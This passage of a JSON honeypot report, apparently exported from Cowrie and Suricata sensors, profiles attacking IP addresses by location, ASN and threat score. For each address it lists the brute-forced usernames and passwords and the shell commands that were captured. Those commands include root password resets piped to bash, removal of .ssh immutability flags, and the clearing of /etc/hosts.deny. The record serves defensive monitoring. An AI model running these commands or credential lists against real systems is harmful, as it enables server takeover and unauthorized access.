        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "uname",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "crontab -l",
        "echo \"root:2dD67fjhDxlu\"|chpasswd|bash",
        "echo \"root:ceF3glgHxbkj\"|chpasswd|bash",
        "ls -lh $(which ls)",
        "top",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:06:44.918000+00:00",
        "last_seen_30d": "2026-03-02T11:45:43.186000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 30
      }
    },
    "92.31.0.191": {
      "attack_count": 141,
      "first_seen": "2026-03-04T07:57:25.027Z",
      "last_seen": "2026-03-04T08:24:36.433Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Dd",
        "1q2w3e4R",
        "@123456",
        "Bingo@1993",
        "Jj123456",
        "Kevin123",
        "Qweasd123",
        "admin@2023",
        "interser123",
        "qwer12#$",
        "qwert123$"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:mx3WlysnyAu1\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Dewsbury",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:57:25.027000+00:00",
        "last_seen_30d": "2026-03-04T08:25:40.050000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 141,
        "Suricata": 35
      }
    },
    "67.81.35.26": {
      "attack_count": 128,
      "first_seen": "2026-03-07T04:27:59.038Z",
      "last_seen": "2026-03-07T04:50:48.313Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bitrix",
        "erpuser",
        "lq",
        "mark",
        "ray",
        "sdtd",
        "student4",
        "thor"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Erpuser123",
        "bitrix123!",
        "gfhjkm",
        "lqpass",
        "mark1234",
        "ray123!",
        "student4pass",
        "wang1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aGX2nZaHQ6UD\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Brooklyn",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T04:27:59.038000+00:00",
        "last_seen_30d": "2026-03-07T04:51:56.373000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 33
      }
    },
    "117.200.94.153": {
      "attack_count": 124,
      "first_seen": "2026-03-09T20:52:48.616Z",
      "last_seen": "2026-03-09T21:31:17.737Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "clawd",
        "345gs5662d34",
        "ali",
        "backupuser",
        "dheeraj",
        "live",
        "mob",
        "ram",
        "wireguard"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "ABcd1234",
        "Backupuser123",
        "Server@123",
        "ali123",
        "l",
        "mob123",
        "ram123!",
        "root"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\n35CBQEZ5S4I3\\n35CBQEZ5S4I3\\n\"|passwd",
        "echo -e \"123456\\n35CBQEZ5S4I3\\n35CBQEZ5S4I3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:52:48.616000+00:00",
        "last_seen_30d": "2026-03-09T21:32:20.516000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "20.49.0.100": {
      "attack_count": 124,
      "first_seen": "2026-03-10T23:38:53.228Z",
      "last_seen": "2026-03-11T00:04:26.179Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "jhpark",
        "345gs5662d34",
        "abhishek",
        "clawd",
        "daniel",
        "dockeruser",
        "hong",
        "iptv",
        "jenkins",
        "personal",
        "root",
        "testsftp"
      ],
      "passwords_attempted": [
        "1234",
        "password",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Jenkins123!",
        "Wy@123456",
        "abhishekpass",
        "hongpass",
        "testsftp123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\n2gBrXXKtevgJ\\n2gBrXXKtevgJ\\n\"|passwd",
        "echo -e \"password\\n2gBrXXKtevgJ\\n2gBrXXKtevgJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:38:53.228000+00:00",
        "last_seen_30d": "2026-03-11T00:05:27.046000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "155.4.244.179": {
      "attack_count": 123,
      "first_seen": "2026-03-03T18:10:11.968Z",
      "last_seen": "2026-03-03T18:41:10.026Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123@321",
        "123asdZXC",
        "123qwe!@#QWE",
        "1qazzxcv",
        "3245gs5662d34",
        "345gs5662d34",
        "44",
        "5up",
        "Bingo@1993",
        "P@ssW0rd",
        "P@ssw0rd55",
        "benjamin",
        "vps@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:xN72ooZSx5Bm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:10:11.968000+00:00",
        "last_seen_30d": "2026-03-03T18:42:13.255000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "195.158.4.216": {
      "attack_count": 119,
      "first_seen": "2026-03-19T08:29:22.610Z",
      "last_seen": "2026-03-19T08:50:17.704Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "george",
        "root",
        "345gs5662d34",
        "be",
        "f",
        "pablo",
        "park",
        "qbtuser",
        "trooper",
        "wialon"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Pa$$w0rd",
        "dell@123",
        "f123",
        "park",
        "qbtuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\na1uBOleFxXXb\\na1uBOleFxXXb\\n\"|passwd",
        "echo -e \"123\\na1uBOleFxXXb\\na1uBOleFxXXb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:29:22.610000+00:00",
        "last_seen_30d": "2026-03-19T08:51:25.753000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "65.21.248.18": {
      "attack_count": 119,
      "first_seen": "2026-03-09T02:35:57.954Z",
      "last_seen": "2026-03-09T02:52:50.824Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "controlm",
        "345gs5662d34",
        "ehsan",
        "elaine",
        "gits",
        "milad",
        "nginx",
        "passbolt",
        "root",
        "sbbs",
        "shadow"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Gits123!",
        "Milad123",
        "Qwertyui1",
        "controlm123!",
        "elaine123!",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"controlm123!\\nkWJVn2IPV9vK\\nkWJVn2IPV9vK\\n\"|passwd",
        "echo -e \"controlm123!\\nkWJVn2IPV9vK\\nkWJVn2IPV9vK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:35:57.954000+00:00",
        "last_seen_30d": "2026-03-09T02:53:57.496000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "86.97.48.3": {
      "attack_count": 103,
      "first_seen": "2026-03-05T05:56:27.156Z",
      "last_seen": "2026-03-05T06:25:10.160Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "135790135790",
        "25251325",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@123$",
        "Bingo@1993",
        "P@ssword1",
        "Qwerty1!",
        "qwer@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KrUIKgUFe3wL\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T05:56:27.156000+00:00",
        "last_seen_30d": "2026-03-05T06:26:14.229000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 23
      }
    },
    "35.195.156.139": {
      "attack_count": 87,
      "first_seen": "2026-03-13T08:18:54.313Z",
      "last_seen": "2026-03-13T08:19:34.451Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "*1",
        "OPTIONS rtsp://example.com RTSP/1.0"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip",
        "Host: 172.105.186.117:23",
        "$4",
        "Cseq: 9812"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T08:18:54.313000+00:00",
        "last_seen_30d": "2026-03-13T08:20:42.428000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 44
      }
    },
    "14.1.107.141": {
      "attack_count": 50,
      "first_seen": "2026-03-16T10:30:24.918Z",
      "last_seen": "2026-03-16T10:35:49.035Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T10:30:24.918000+00:00",
        "last_seen_30d": "2026-03-16T10:36:49.447000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.107.168": {
      "attack_count": 50,
      "first_seen": "2026-03-15T12:28:55.337Z",
      "last_seen": "2026-03-15T12:34:19.521Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T12:28:55.337000+00:00",
        "last_seen_30d": "2026-03-15T12:35:23.497000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "130.12.180.107": {
      "attack_count": 31,
      "first_seen": "2026-03-02T10:05:00.971Z",
      "last_seen": "2026-03-08T22:44:55.460Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "user"
      ],
      "passwords_attempted": [
        "1234567890",
        "Admin123",
        "admin",
        "admin1",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2761,
        "days_active_30d": 29,
        "ports_targeted_30d": 398,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T02:52:19+00:00",
        "last_seen_30d": "2026-03-30T10:14:11.396000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2236,
        "Honeytrap": 494,
        "Cowrie": 31
      }
    },
    "106.13.68.234": {
      "attack_count": 30,
      "first_seen": "2026-03-12T16:32:10.626Z",
      "last_seen": "2026-03-12T16:38:34.153Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "mysql",
        "nginx",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:32:10.626000+00:00",
        "last_seen_30d": "2026-03-12T16:48:38.104000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "143.244.137.124": {
      "attack_count": 30,
      "first_seen": "2026-03-02T07:14:00.148Z",
      "last_seen": "2026-03-02T07:22:51.588Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:10:35.938000+00:00",
        "last_seen_30d": "2026-03-02T07:23:58.130000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "183.81.33.183": {
      "attack_count": 25,
      "first_seen": "2026-03-02T12:20:12.943Z",
      "last_seen": "2026-03-25T18:00:03.379Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Admin@123",
        "P@ssw0rd",
        "xxx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:20:12.943000+00:00",
        "last_seen_30d": "2026-03-25T18:01:04.687000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
